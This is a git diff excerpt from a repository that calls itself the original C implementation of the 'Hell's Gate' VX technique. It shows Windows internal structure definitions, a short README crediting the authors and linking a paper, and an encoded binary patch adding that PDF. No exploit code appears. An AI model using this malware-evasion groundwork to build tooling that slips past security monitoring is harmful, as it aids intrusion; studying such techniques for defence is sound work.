+ ULONG_PTR SoftPatchPtr1;
+ ULONG_PTR SoftPatchPtr2;
+#else
+ Wx86ThreadState Wx86Thread;
+#endif
+ PVOID* TlsExpansionSlots;
+#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
+ PVOID DeallocationBStore;
+ PVOID BStoreLimit;
+#endif
+ ULONG ImpersonationLocale;
+ ULONG IsImpersonating;
+ PVOID NlsCache;
+ PVOID pShimData;
+ ULONG HeapVirtualAffinity;
+ HANDLE CurrentTransactionHandle;
+ PTEB_ACTIVE_FRAME ActiveFrame;
+#if (NTDDI_VERSION >= NTDDI_WS03)
+ PVOID FlsData;
+#endif
+#if (NTDDI_VERSION >= NTDDI_LONGHORN)
+ PVOID PreferredLangauges;
+ PVOID UserPrefLanguages;
+ PVOID MergedPrefLanguages;
+ ULONG MuiImpersonation;
+ union
+ {
+ struct
+ {
+ USHORT SpareCrossTebFlags : 16;
+ };
+ USHORT CrossTebFlags;
+ };
+ union
+ {
+ struct
+ {
+ USHORT DbgSafeThunkCall : 1;
+ USHORT DbgInDebugPrint : 1;
+ USHORT DbgHasFiberData : 1;
+ USHORT DbgSkipThreadAttach : 1;
+ USHORT DbgWerInShipAssertCode : 1;
+ USHORT DbgIssuedInitialBp : 1;
+ USHORT DbgClonedThread : 1;
+ USHORT SpareSameTebBits : 9;
+ };
+ USHORT SameTebFlags;
+ };
+ PVOID TxnScopeEntercallback;
+ PVOID TxnScopeExitCAllback;
+ PVOID TxnScopeContext;
+ ULONG LockCount;
+ ULONG ProcessRundown;
+ ULONG64 LastSwitchTime;
+ ULONG64 TotalSwitchOutTime;
+ LARGE_INTEGER WaitReasonBitMap;
+#else
+ BOOLEAN SafeThunkCall;
+ BOOLEAN BooleanSpare[3];
+#endif
+} TEB, * PTEB;
+
+typedef struct _LDR_DATA_TABLE_ENTRY {
+ LIST_ENTRY InLoadOrderLinks;
+ LIST_ENTRY InMemoryOrderLinks;
+ LIST_ENTRY InInitializationOrderLinks;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ WORD LoadCount;
+ WORD TlsIndex;
+ union {
+ LIST_ENTRY HashLinks;
+ struct {
+ PVOID SectionPointer;
+ ULONG CheckSum;
+ };
+ };
+ union {
+ ULONG TimeDateStamp;
+ PVOID LoadedImports;
+ };
+ PACTIVATION_CONTEXT EntryPointActivationContext;
+ PVOID PatchInformation;
+ LIST_ENTRY ForwarderLinks;
+ LIST_ENTRY ServiceTagLinks;
+ LIST_ENTRY StaticLinks;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+typedef struct _OBJECT_ATTRIBUTES {
+ ULONG Length;
+ PVOID RootDirectory;
+ PUNICODE_STRING ObjectName;
+ ULONG Attributes;
+ PVOID SecurityDescriptor;
+ PVOID SecurityQualityOfService;
+} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
+
+typedef struct _INITIAL_TEB {
+ PVOID StackBase;
+ PVOID StackLimit;
+ PVOID StackCommit;
+ PVOID StackCommitMax;
+ PVOID StackReserved;
+} INITIAL_TEB, * PINITIAL_TEB;
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..b71f1a5
--- /dev/null
+++ b/README.md
@@ -0,0 +1,12 @@
+## Hell's Gate ##
+
+Original C Implementation of the Hell's Gate VX Technique
+
+
+Link to the paper: https://vxug.fakedoma.in/papers/hells-gate.pdf
+
PDF also included in this repository
+
+
+Authors:
+* Paul Laîné (@am0nsec)
+* smelly__vx (@RtlMateusz)
\ No newline at end of file
diff --git a/hells-gate.pdf b/hells-gate.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..5cfa4e0425c74ef712626b490f11a0f2ece70404
GIT binary patch
literal 381301
zcmeFZ1yo!~*Dl;><4%Ip3GVI=!QCN9aHoOB-Q6{T;E*6ef_nnNAvghoy9W0J$ls93
zyffdt*YCRb``5a?DC+b%r>eHp-c`?2BvdNTq?p*4dC*a)>YyKV6gChm$ic)09Ys)(
zMZ?q4oJGRe#n{fll10VX(%c!u4t=b~qF@ZRq%{XKNsH5gSkzr0uBI*;5OZ@i2L~4r
z8|!@+YAlMz5L;QWg#)yo`%7~(5cEBBVPO_Ua~ESXXr~|^ZtjOSwXDtE%^@lfa|?5b
zIoK3B3J*8W{S#qfbQE*2*@HOu1OH8~2YFZ|99+TBF}Yaet<9YEKpgkYKOp1@2j{PEe>{5_8pQE14v2&I*E7C{it|@H&R^{~fAz`vt2yUGa|6&{MZ16DAEH6+
z1y#o74}+{yexv$tj4}Gynv4hxtnN^Ad#P%=@ixek_?Lj7}y(B$c
zq}5%FUCg14q}AD2p%%Uu^ZuF*1pRq16pN0siH*7GeaEu)P*1UQf}lUY9;rYaOx4X@
z^jM(2X3;SBaQXF$_^(RhS0#I|6N?xa?BD{mBik?Yu>CR*`-2G#Kv372SsRNxc<4cU
zW(9HaaWQkSgLpaFnEBYDPbHv=K~;7J{n9}i;^68CmFHm=J$zwNXVHKdgPk4kO=IfG
zBB9Rm%-qe|)Lczk96Gp$v57PEm0$Dem-(DQtbeuieaF8oEoE)zVh&-EvV&UYnYpQh
znK_GsIoQ(03dF(2#eUz)*#%;5Y>$rOk=dqa?=aVgeFtv;X)GcKe7$m#RsLj>#VKPI
zwvewtJC_c_*2Ww=&74$rZtL#*Fh`5LDod+A&MxdsTHnS&>j+0@q{pdhW>(v^8}IGV<%}cz@kAxs_<%_%>E7UCK5=tW;s)@7KU8LE+{`K4C9sCP@MhKT5Dg
zue8oSDqRrhVqBxp_&_qS(KFZe&@bsj<2!2yC(93VKh779$NYzVL>kZD`0Nd?XZU}*
z`t*{o7-`3FS6<{*h^5O8$sqMle4d}Y!d~)tH>X$I40IS5DkRiRk9!TG(v>6@WMX)R
zaUDeTQO2;dZn(!n#Ru%g&FI@$aZ7T%S1?E$)*R3Hh0&$+$t(-PkF7b!qr3Nb$!|{v
zc}a!VJ~_am3ddh0-Au?a>6Her6l2JMJ!js`QfN|rqA_Iup4C%Qd~jiS*Ohr|&sZ>4
zWWknpw+%<25=)kYSU{s+`STLtI=s_Kd}{OBDgH(zUboSPFHTB*JX8hqtiQL8%D3EA
z%m&;4*~M4@UeSk_TT2w)2v2Ib%5@3l`JTG@y*M~_)PELuNM&6)-@CMS^kW3IP5&aZ
zVdGE;);?A^w3qq=4ct7})`%akunkuyYW}=@^$>yptYR3hl>%B%VnqIE^mt{Q)lLI8
z&i)h1SRs*!%=QK(z5>yoZV)007=7pWm>fC5Z85a7MaSzYcVX%4-t59T%j_G--}z=d4}lnb9{@Gw{CqaS$!RAma40R?Jy}Py=bEA+Ypauj=XjDMw=pi
z{+tDie!-hu_88p7mxr&jt_npnYz@%Bk$mI3>AWzT_FKzCv`}(L!{0t)XvKx
z>8R|TjRH?v*1g9Y#B(h(1-Bp7$Ma~tF50P2jyGnSRY6i?#eGR2dx6q!Go=5vpoYmN
z>${bRO2nRoH^0*gm00|3>;V^*(r`)LRRySKXq-Fv
zC5g9Fo#Pp4HA*_(qg59%eibVm;aHIE30z~$qJoKzPIs9k#gh-GAC!~5M+)S{Sp0LO
zbC80qzk71OQsAP(*NRF``i$qs|K=Jw{HFb`rC7`}&NP8Y=UP
zT1qPXBm9qR3>zou=ZZ_Hp#~Y%Z99>dqpz%F1XR>@qs71I(`Sm#vt+p8q40~Ol&wt;
zx(U4-=P=N;Q%WGi?bE0UPzbWdq9jA4QNWQjW-;zW74K}C!jy;9AS+|ei%+iP1x0oQDovut?abf0vfEQ6cu>_fNVUh6!T`HJ-l0=qtGDHE
zeZwJOFWEwH=RLu5zT!iRTPxEMN|KzatFZNZRq*c7ZoU2}op}wl5h;FApC@Gc-onSY#6OF0p&&`!!P~#YFSWnwu-%
zWZ@cjFu|LwJR8L^X|TAIq|FV-DoB(`LxaO2>{eH2mYc8f8)RSg8MB&xnY#{>DIF671MiTO&MB4_9n~ive
zFSAG@edDWCL+>i(+jbF~@8H?ITOJ+AUM+=YSD69j6}kQ
zD*T`wjVGU)hS75T?8GuNV408Hd)^n5paYDH_^}U{HHV~A@-@sM+#{XhkxrQ*wOSRhQWo)c4
z?5oHs9vlxoZ&G2RFznrAGUn#g3=a3g()i^ArpL%NNn<(XflI+`ocLP9zNKL=6EASy
z2?hDBv+>wY^N5DhKWRR>%T#K;7IfQA2r);QQfGkAyK>rJT&H^$!<7Y8ccvdJoR@v9
zT>m!6-O*H{s-Fl=U|Lzf~X%+`C869>LYcizQfK(H!gcyxkVink(%WT*D!Z7W-wbbVfv
zmjxO%-X&#neNT*Pr(-4$5hS&#H{ypyMd&*RytC(uy%>OR8edR{47kBZ@3qNUaS|DR
zwCFyvC#z_-BR4`w)(EvG#7BFk64OXvmPfyC
zuH%+t9DBVmqXKLv$i~#QG8jVHRV*H_fT5B`sqv!7cZ;n#z3Q%?)o7F1$2w%hRWGg}
zEC?uAsaL$(oOu_CM4C>?XBkva(R8y*=|S>9J!G>^X&Cr6DvLdg|2r?
zPKdWFMhX8$u7~@1X^TMhxZD!m^O>?0ZotV~@{F*T)xaFR^~ETWBEs2GMPQSbs4)^5Ov@PD*Q>(irCZGe%eD9Zt)Y<&-_%Nz*Tv4;$VQ7lKVgG5uhhb$jS8ZxxxKvG`
z=p&d}IH4}GT>VQ^^XbYxjPXEmxGUtTN%&J;t;x@*qR4K
z(7)W6nfWxO7d2N;!bYfg(|YVxrkKlRd?}?Z|ExOHQ-tTr*4dJaj>paY#p}bIshP}!
zZ6(4h>yY%w0||>)9UsI#rhq?~CXMd$a^XHc86ToNl6PBt(&Q#^S{Uk!>9ED?raDt
zV6HvJcGSGHPjWsnk922-MlNA%^F@0YG1U{Ic8JYKlV^cVanmi&EFL#;y;%jmRFd^Z
z6po!48nqmBt(SaFXvEgl$o52_3PS6xKxt_At*Un~Eq!oO&P#rESmCS5lmtr{l?lZm
z65MK>FE>4R3_~ZYbu^8|jaI|Xf!INORsW5TEnZA;p=i-2-?4Or1_VR1`z0jCmQ*?g*e(+h9
z0c=g3RFSC8+iyUOV5`^yZMg
zAdG1}z4GmnjD&UGD(}>IEgRg`fr)m)oyvX)nNJD3i+zoHR^nkZg#;?Z41C>2OZ;iI
zgh6yJ>@+5?!CJK->nV;G?XKWtNds!Dt$5t$W>YLgH@vr-2)NCqsh8oK?i)NxgNK^_
zk34qX&i{~dZJISvUG%r6^leW+qaA6b{pvsfTf5q38_2e>GAG2Aclx2mT~wDr7FJ8V
zhoFvXr(aO{hctL2!1QQ1IA~j0Ji+6f^k>JZ8{c8fP;#M%+N-;+aa0I)mqueZDg8HB
z61&6l9J(VB!9|f`0mb2GlH8=u}|x!=&_0rA|!JQj6V6PJ4s
zeSe3QMcmlg{Nc8^#4|}rNd^gHJ8Kh&HIul5of(TH7>Z%6!ImttW>64i?c&KK14T#9
zrqBV5!7lgBoI$_vvW9~u*!mvufOvkP(!WBa`&S<1&;vbyHv`bWF!cS6-!lGJW%(_(
zgzU5Xf$ybf|Apfo#E0J2aFCXLrfBT=r?f23w4uP1m6ZkhP~Fqn#oYcL{DU4q>;vSz
z*9Btj=;8nYJ-}=hZK(JU3jJ05`}co~s0=YPhd?bt``aQ=vO&$<(i&=dPg*f3Ent4n
zKDatM+L_zmL+!so#rrXScl4(}{w2eMNJ_@`<}Clt7f?`X=?vmvXOV?+AJ(Q~U`so5
z5G#w=y*FGyJY1}Qc*X_9#18!;VeBYlZf$Ax>yen7rM9&h6o+zga6_pNk6&NdczD?!
z2G#!KO{l4K{%CdIhdR_^TF@pB?}$HOY$h%?zJ~#z`~Ww{{jgAweeVD$^fhOPTJM2B
z_^b6En1R1({U>?ABCg1y_4>n2P5+^H-1kY4Jg_3
zVD|?jOR@iL@=N^}C%?8eSPblJ{bw-T_xUfcf!H3H2o@=8h_j1?l`-VrM+(M&T(hyW
zu{;{-=Yu{vfXYm7UoBZ3_LD^Z(|czsmN%$v4p1^OtDl{1u6RL@VdNk5=}-
zMJp@E?`VZGi2sb%hphLv8Tn_fhO%V8<3_<6YzxhDrY?FQb`Bn9E)Ebk9}hD-4~T=6
zotc9T#KXqN%)<>$1mfz@R@(PTk3|Z^$s+cfX%jPbv33AMc{EKm+519k<>KP#%+JE&
z;%@B%Wz3jO9qd`uT_>T&B6C<>t7e$
zKbYCSOx-_M8>rVF*xA1>yAOAMi}=@d_phS-w(bA=lFR;!fB$=S1F`?2n4ya<*Moq6
zorn)Dehc`&wCX;L^1G)$)6IV&hX1Pm|6gPHfg1m<@NXafC5Ab9S(%|zl#PRn8Oryw
zvNA*S9vc@luKE6FLfFm2)sor57cc5zlQhe$ZsJ34^x
zH&?vS#r=WUev2dys)Jyw7?I@}Ze4`)cfd44W#cD@Jse(%M9&iq^kV980zN&#SC
zU;q!FpK|~S01_f15D@_h2m~S{BcY(-p`)Rqq7mZYV&ah!k&}@Uk&u8WnQ1^z87W9e
zXnE)uS=l%_Imv1Ggm~EnnK?Mw?>m7(Mn*90CG7JoKqA
z^f>??8v*ADn;0Ulsxk1X6CQhDVjdEOcvT0!+Sm~#hY2JI8RgMq0zx7xY8qNPdQL8G
z9$r3vDC&@smXVcH*U;3`*3o@#YG!U>X=QEW?BeR??&0Yb91IDlA4+jst*9!*L{a$fwc!Vcxh&W=ZKw~G|r|f}9
zc;bn9RUOC_9BN1SCXg|dN0gi^RLA$KJ!tmdr&!SclxBY__Ak9=0cdbAQ0Kv614IDV
zcTu#tu>Y_8KO6kNIq;ug4zOw4oz1n08>H2b%YEIlIT9|)%|+2LX(1K~_iFtdwvpQq
zb8hk@;s(LRO$77I)+2aHk@D*n6X;oQB}w4bn4@3~aQto9)T&z-tL&4X0AtxZ&HXe(
zqOqqEO!et@>OfQMkB;Z?TO!X#W7SY!a6OgzQQ8w4@DmVFsV=wdVfUP@oC7Pveh$0;
zcF;dmNsz4~b4{*g?Jhmz;v<`Bnnq+Nufew{nRX%JR1O;?jcQ)DAgpCD-!5B}HeA=r
zQCOQmb;WD?R9=BTee$l!q$`>(RkQl^CveT|4JTZC#>
z>*Hp|*ps45Uw9*1#P#pzHiZ`mLKiX&N)fOF4BaU
zVj%oVpPknoiCQBWjpf@#8=Q!Jroybg;hAZ!lAi!1?TAY(7w?o_gJqUeu6=cx3uid{
zbfX-GT3Y&W!rcPiAzb}d#{v0tRM<{;fHxSm7j)v8i%CibIA&|G?s+B0ve;EDbHk%a
zekI9un#39X;q}Ka*{S=FX1i-wB)@dGwJ-)6P^L@Z?!-G~pO-n5Q@$Q(P<;=p+DpF{
zC)NYhH;E2BJzFH2+8;ACVBXhk0uE4@%D=UFwAXA){A&8ks*#B53-Nv@th&?B@77CW
z$HRv?_IA$SzynXBX*E%#Ut#hcHXcptTMo?#r@X4nXW_JGz8uzd8KjmJa)a$H^4hXE
z;t8uG=jadI-%trBP66#KA
zNx@41SF$&91|ZZD29BSdE%`o4Q`6LZLm=LDhMKKBIsF1&Rj+hTv`VTk*RK6VADU^-
zp04O^{>uK?qIN3l3oA`E444tq3AhI8{G?0ehP0K<$yIApLsK=U1bz}6nH#661mb8{
zY=gk?3HY_WYxlA?xz(u!3H_(FlAlTk#1ytf+$jR%3eUSCMcq+gB4^fTju6pppqZ!=
zyVK+yzSLnahfJ}3YGT3mfu9?%kjz@s8hI?hJ^#B}%TUV@mL|PM4ebcc&euri5jADF87;f-
zG2<1TpOygvE@wN7(J=D{SHa4d42$#qo-dcy89x^nHLrO42{li$dkg?2bw(0CH_}t|
z!@ZyXT7mx7O;XKIa~sfmy(e=j%gj?{M{;8Io^<@Go`5<50dsS?$*f0+AO7Za@ij}d
zjF$L#ceWH-IKdXd(y+&tph=^s!BZpC;*57gzs<{5MrwiY1slq%je0(wVc;hb_OVefsF&!0;n_;Hd?`w;yk`3}5Q
zfCZJY70iLDNvjO{*iXWZ^&NSow6=H;q&d?vZa;igHPop8dMbe17RT2v1$P45x`Gmh
z5J=Go#J8Z^kh0V@6Xm0NahBiirFx8*hg-I2aQXEUTtMK<-5GLP;UDoNCgmfxMYi>O
z7i~b?!Pq3d0KKIIDKA&v?@oqx(LSTEi`N?UAiX$ry?nbeB+C<2LA!K1RFg>pfSJyB
z!oCrk0sM;UEBl|GT@vZ{c#N8_ys}GGE)pbKeH*%*T98Ues)X{s1HZw1)mLh0!smp0
z5spnD#ruTE7u`;{s=&78r4~jKNuhHE;$ov6OoC7(Crszq^XF+Vg|q0d-;nXaSiOl2
zrifV!;{6`?<+UgRp6aiH&!{RZSb|48LP0_wn510idhuxXQ7H1=RQGTpWFS$d?EPA<
zAa?SI{#u;CC;~cahgU`O2Qw>B!>+~4z<3q@j02aCsN3H~KF@0Qsd}
zOgG-x#(y|2-~aTqM~9Y#0yk8+2#DsF3$vqh=v=%@X5QUB86vXiZW=Dc$~JjA9w5Y{
zI?WTUi}GH5*q5Uhzti`n
z%Bf^6x-$oTd1nCF6Q7jgIL*tfv4i$uPhL2<9Z}MGKWaGSH>kaupjPPt
z6`&HaF{R~X+GgpZ$Jn8PrDj9ymm>+%A~?Y$486N+QZH@9amJ{;V8ny&n%?mY5(I`S
zCGYI~XqdT0kKX;)QwLuu6J@?qI@Dq}ymiVXYc=`_;Ma2?ETuqF7&EiSmN}S{y#r|k
z26*G&*oN!Mv8Pb!_~RT|`)swNeQqaN&Wsra`rL7?gdgeoojV+LB9w;t_6*B#&0Vx@>Ns)@2sP&r^R!Ai=j)-Ze6
z!`Nc>D+Ydd{NxuAt7XqjJmfigqLV}xdxaOnr=w0&j!O+ci7QgtDNUfoHdqNBNRgnC
zt6pne#Fy_h$GxU)o>W7oAcoAt3K1uj?Q;ZAmw_$^mmUT&(!dO
zbS%<4DEK4-x{TP*w*8te*5Nv68q#L9!aTD1uvSugkVNEy+BPrctETr&>ZX|7xIdXR
zzWAV=%S!+{Z6L*PGITG$5uB_&8P|dHc1Rv5#%L5m*{U3WMWTtfDJ4bU9>gC!`nflsn5JSDZNG%*INx
z*Qbz?KBO_>1Gtd}jI;q%#szUrO~&f(<_7C|PbTA;+4;AA%&a!Q3k;#HBtn`PwAOZb
zaZtLpb5kYDC@I(?!^3zWE5uq5G}lL3
z1Tl5Gn&NlmMR)V3iI)*BG>ULb1J;B0_vd)^%Lw%9jh4Z*g*eM*X7#cJhkYYE8V+Xi
z#Hu*eopcnIuYc?))9`j;XE&Yij5qy=eSwuyZy61Loi0$A5?3}d{ZR=4U}gA1o`DU)
zZeLgVfGHu&T*Z;#_>Saq$VBKyp8E?V0Yky27Y$Rukrk;I_{P#;anQNJIl0a)a9Ly^~G^G)ql6-TZ4fH?+4
z8%PTDF9(RRk32r0VuU4cmTjk*eK#%PTWbA1^*yd0`yv`bqZXY1kG)&xjQ*yYw1pY0
zih#AxvB6Jnr14
ziQn;QT=e8Q-kyxzSxe@wWAxiuBHsKgw=E%(n6)A~MQIJ9kRAo8TmVHpg3rfGryk(P
z4N?5~m-bl3u(GG7&Y33yM&vyOY2U4}AA5(!Y_bvrWNvK`u9b_iIdBEDnqaVF0`buS
zLRneS9Bed6vU`gC=bR}jFp_xxDDaUKQY(QwdqcL8C98N0G%x9oR$#adw6=~nG?~<;hw9{yh>f0kVCxz9JsoZo^7+|g2xhb1t+zYHOAZ&
zzBd=?O+Y!G%nZKyTKo#3Y*Zdcw#_|)RI1;3gy4IQUy42^QhxJK0M?bvSBpJmT{75g
z(@*V(A!c!Hy`=uPu6>D7MpXY9^U`mbz}todAEpVjc^B+QR|-)xbHsLSrbAoVZkrfJ
zoEbXIF?jk)l6pt|3~ayHl}#vx+D|3at;dMGtgM
zoFQF6iAhqDHVi@g&LlJbEG8Cm{LD`?G03MYIkDEYgE$-*djmnIR2my}c65JJ=6&<&
z1apyDCzFk^orY9;M}MfNcC%}#6tFNek3fV@kQ6vnfOeQ&eozmti%r&%B;y
zO?opv(kIce9@}LZ*ia%!#*o=GrI-&W&07^=OpM^8dkpw4
zQ9W5Vc}Ou;I!Av3BFmPY)G1pi68-ENdx4}szK_D+BYOP2qFr}>(|)RVNEv^eWp)xLm{19c4{v}L
zP6_oS@;#%K^I!l(Y%d3#sVz}tt1b-&HAm5*WNlN%;DnqR$uMffSdv9~ZVB3ClB{ug
z%@EF{W=hissmivu_qWsJo#kRmj-3Y^yW<@SmRLL0w(zPB^9mjf4)dTn$4q_W5XB1l
zfLlVX%)BAbrXuCk@^O*in;u!}#)a49*u12J^F~`Eq$1NOxTDuNW=o{pWmYhM;*N^>
zmENmMs)K
zk?m_L>j@`FRS|;h$l%%8CBX>q-r3-_D=GUCe=q(}O-eR_T(OTO3f{r4b8s*3UetVS
zOomm|+CC041d(#%1r5MC0phgHJqjFNH?ER3e7Cv;8yx|5C^PXmG)5?FKu)BG>kR%H
zu^zW25}&#TM0|z(Z<6Z2OSJz-?-@J}YvrSEay-~5s0mLmgrme1>ouegi+!VS>s7|h
zy_c47qAaO8nUh;-b=UvCu1a2BG1@Gmvkyf}*GwD{f}zYu$~OeyP^fCCod7x1bl{hX
z#n|+r+V@E5WSS-D~*Sq0JNQ7_n{DMR+q%~m0@`=hjgUM%(4P6CUy7Uz*R^V(7aVNG+*jy1x|Tki?jfoC{N`!6Nv
zI5IOb3nTe4UjhqvSq644pLvTft%%|kzsvdB@I&`Qw^JxD&43`eM7MSl;Zr+V;wNXu
zQGmGrDz!~FLjjx$ApSkYl%;5Q2V_9&*t6-90NdG+NtLdjfa43k$X94G0wtGc!ZRg|
zMJoIDj+B~!fU$kXU_K$Qwc@Rvn03>4)vWYgX=7Ru&Mg%QSrvLrTBXyl3?y?y7%
zlB3uh3Qm(`uym}LOF4kYHzE%Gu~233?4-lVkdC+3ueE|Az`>`f7;VlWWe<_DXXX8TG(N*492HV
zyQGE-=GOL`*)%;Dk`^v|qa-DLBRB9)J6nbfM^TFSJtf8j@)7;EgO0)~-qje6m`p()
zeHE)cS`D5nr{hjwl+wJ<#eqGa1CUpg4V#7~bsh~ejWwbrwltUavkna6`Xd`6enWE?
zqJ`T^LfVrxxa?9!?=D(=`>v?#QO|b5Kmjo&smC`Akt|2*SAQb(->cyN%~~GMfuU6D
zO;#MfXg_s+rP7seo}S)Q8|~wtfWl$7IYjl77~Dp$B$ylFT9|_6HWULQf;XwK2Kt$-
zj2sPwJpyYnKQeX=DIXgRcjdEJC;9CFNHAUvkM($O;lCKxvo>pt)Q`x2((o2QNSS#y
zGQgn`v+rP*Y%mlSBh*!lm82U#AWQc3rVRmvE@|{}GHr2pnUi~rGnpC2nlyeOINr3K
za0|cJ8w1RcQ99Fn~vtyWf5moCxSe%=*E$IR^Th$>D^Y5Nj<
z9mXm%%eyw+z}34qdw$X4PI6hS~zfXK?70LDRvQ5d#%U)y}_Z;sj
zJ4(n+0XOvx0|@tY_;b3m#MdA*Gac}DNS_P)W<(Myq}7k9OUm*k{awsrF;rngHP=W1
zxtPvXNu#rKgKvHUEVv^y4=h~4L<@{jF_Im
z2&}b^E$VgU%Bz3GZLywEBlmb8{f4GesfqkxTJoKTxAZak`yXC}NPMvc_GLwR>u!}<
z?nG7S=U-aj&_9nQE>Kcjs~QQ3XkID8G$fwAF1h(KjI)eheg?wa)2a4h`64~@%voxP
z_x4H<$)Du(jw{@D%^&+Yt;QGXMBvd-B=AlsW4rb+%3U>(>`js0d=~*5TT*P|brcsI
zPuB}fE)h&Ut_el-?rMlGFp_PIj)xGMb^&)v{bF_87j0$3pV@s_-KMN0LO9+EmMM6YMcE`
zle!BAU56KZh4Y%z#qcihW(L_!}ozU$}BG
zl`Tuf*ZC;9-p|M)AgOhc@!zGNSF}hbEeiNvd{0UGR90P(V#$OX@J1GTjCSj%=4%b}
z?%f>KW=1_nYLY+#1!cn`eH*ZZ(%X5+!>}pO&`SF)YO#R?Nzc0D-Y&!3s(aMuj6TPr&qElroNWJ=v29gtpPI6z_af2XYot4WTg=a(sSP$g$N--@Q>b
zr45-=dP5Z%^ppI$c5_M-c*3#55*(HrjppP=hv!h0-FN7-(7DR{6xZVUuhP8G1d|i@6y5S
zecDDRWq=YOwwyeoY@=9C6jb&`4-No58G{HDzvhXuKI|H0h~0jl%JdDxwo)(ssaXaE
zOt>3`L`-R7o%rd(M=>qt=XwoBi^hR|>WKlLiQivzl*XfWxHZt5>a1b+6c-DtXW}3q
z#tDZ-2cl)$*`!T$nWpB;TBfNG;u1Sz+F81j^}KI2U8P%%EZ>I>VN{cqg~#14$ZjXU
z!nb=>4hj?Pn|^fg`Bb(AJWg;t7Z{vlJi6I>s?irVyL*TzOCadD<;a!|k>w)|SLzAi
z2uS;iI^Vua4X7YCrkLK*E!-?>N-s)JFLY-bd?d8n#`?g(&@BfPno{1S3;;aToMW60
z6-jM0Vhe}A{3u}beJ3q9&g>c)S{GtZSqM%z!>;g3zE(lBfbpT_72?plOp9Fk@dU5M
zY?3+edNhs+iha06iq@2gT!;*lGEzs;IlI%w1uTlCVeZlF!k#~oNna$
zD7?l$_FzgX^2SoK-)LbF+zoNAT)ivyTRtpV7oE>bkAQvx%*cZ0r^S}z!>Reo&zZn@
z^kU}q;F4_}7ZK$*UO5>)g&GkEYe1oJ2k=rTLtuEJ)vQ}GSWn3VAwbgX6I>eM;LBYl
zAzy~{W16lX=v;5>Ch#4$)(M>>I==q|JYKn;gyMZckxH9pqr1-kMz0JOPK1=}
zJYpg#!D^xdyN(i$lE`S2Q$EV?_9|chXd+|v(+T{f4drExZ;M@mK9PGisgMsW9}f3?v7uG8yf1h_StKvr^7RxecS!2gZ+<1ilv^EW$@
zW<#VyL#>}y)f;c(Jb(@pB;IOp1Frr+n@3tewT3WR&XX-$*3Q!PeMSK@XZ>zp>^B`w
zR>2C9MQxHsheDrvJv*Q(cD597{zgTzP@^|&Ea2YI$=$<3TbWzO8l
zjC?8(DMXLG#Q>os@9jdDW)0mnk0hQrR#Zj{Q69bnb`i!~n-}bBc4=`qPf4m}DFZ$%
zF^Mw7t;8{8A59kO^`kE|B^~fsQP0siEF7&J6G!e0BlS_&n@&8*?k;Cy)>2WEePWUq
zw>t0TG)Q;R&4AW>3=Ej=dh9mQ?Mzy}IDy}z4XI(4COIb%d1ICn0tqv|tq!Sx2!Hna
z?z?-o!!-Gfra`5KRlS-c_9iAV`_|fiKpErC(Zfh1EPvT!xZr5epeA}axUV_BzGt@g
zNMubv^h?%I$|i9!Wti$0N;Py}ehS^o6vM{?Vgx%H=PVdI&7Y|!RO@8pSj!Lzyo2XX
zZ)h9i(~B!QyYG;ikJfJUaVB=YIacp?NNjh0zpN1czq7~ItE$dXX^om%ke7YZPCofV
zQ_L{^XzQ6-eX>TX)DGrLY>I@okyVcyTDYRoRuS90orpvniyrf22gaq9Z3cy~r8;tY
zfwSJKcL6?81&)KHolA@P?wwe<%W;Y_sAz^3aFr4PlUGp%r7MkFGj4k-Z+`-)9QTt?
zakIl`)5*3Vr!8TL7ol1ms&OAf0qk3F0zUy8IUq|oV4F4**ut9vToH`6`!0|?SNMi3
zt8{WVsZrvk6d38+g9IXNh;CuS81%^2(&eQHEp}#~^W0nKoau5nj`Jpynp%&f#YKY8
zQc^+INF&2K>kw97{-ky%LsM_Y@3C_R2COjyFcGG3Z~=gCz_W@@waMq+?*av90`a4H
z12`)KFj)P=S$a2}hn$H%_jC2W=Jn@F@d*f^fD33vvyAUtsu5>ZelDjzl>~L0$y@W@
zKJF@#19GJl7%al?Un11WIhf_)YBHVoRG$?NoVZMoh3p0$so+NP`Igmc?+eN*bP^s%L%
zQS$6u;BOBWc=2A5rUQ!TIobit=$_h_`Ov<9+$@lojl&WobFi(KiLz2}b#R(@>OPJ*lo
zNimNa&w-6)rQd_QzH_~duv1&SLrhf(Qzu8i(vI+GX?M>iPAv+ko61(k3HL6!0N(8%XF3S0gl`#5aItTCa1{5k<7>cf5+P~HJ;5U%tAZb8IG)ahy
zY;?>$TdUw71-`JhEwavF)Jo&tK||s=Il^obI^8o=e&-{eqaKFr{`DI4bsiDlnh0iB
zi4Nx5PXHR{Ub@R*mdVa~(&n9!LdZr`A3A2K+F9x))w;)yGvC589(9|(D^wmNqUGc<}|F}pGlR;P`7sv=&erh3J=!>^A5
z<&PhCV9A}>crhwjpcrmaiNm4Yt{m=)5S<8OzYw3f8YVSWs%@@q2y$S+a#l%u92=KI{l?X|Acc*=zwlGQ>SG!b%i>`#N6bkT;1fwa^}iw)nC*RHL^X}z
z1W9kDXg{tI)S(hFJa=v6Kz}n2_Ua0rO1tXsF(lsFk<+@%OkjJ4F4eANr2JMgiR4k-
zOXaPbA%ON5m*Q_1g*ce>t0J}HTcGO96}F|^Z+vC0Y8OA`vOc#L;P{33=g6HK*e}P?
zKEE4!T0hXIVCO$pNcpY@X~UB^3{hCkE2HDX*r`eMg@^2E*E=WhfH?Xq`#ww*0zm_$IHln4>F9R0MfwvUdt-IFZQfgo9yoj7@?VFB&*4xf(8l8}XGCb4NA
zngv-hv*oQ&5}0={@tf1^wmbE?Nt$QY3M<1?LCWiJO7_eX8A0zL{!Orl3wd*j{A;=QwF&wQ}m;~)R
z!-`Kbkcs*RgVJBD7_yzOCduMZA&}6*5o>?UE!Jpad?U5N3-+Lyi%UWDq!vX&3ULIk
zh@!PdGOw^Iq6lJS>pdHsbgx7?o(>`I?uR?7I>(&DP@FrF7RMZ&G9+Mgjz??qBO^%-V2G55QY68M`#G;!ovm<
zDnY~8>C}$VSJNM6L^I4&w8rpcRwOkD`q$b#!#f%9n~sTxJMV<@n2QKIaR7I9dnTO3
z&$Yz20(2~$_HOyrj5HGy!DJh6jdX=w9h&jH+(@lUe*&x{>=+XRJGNzpJx5HV8lT9%
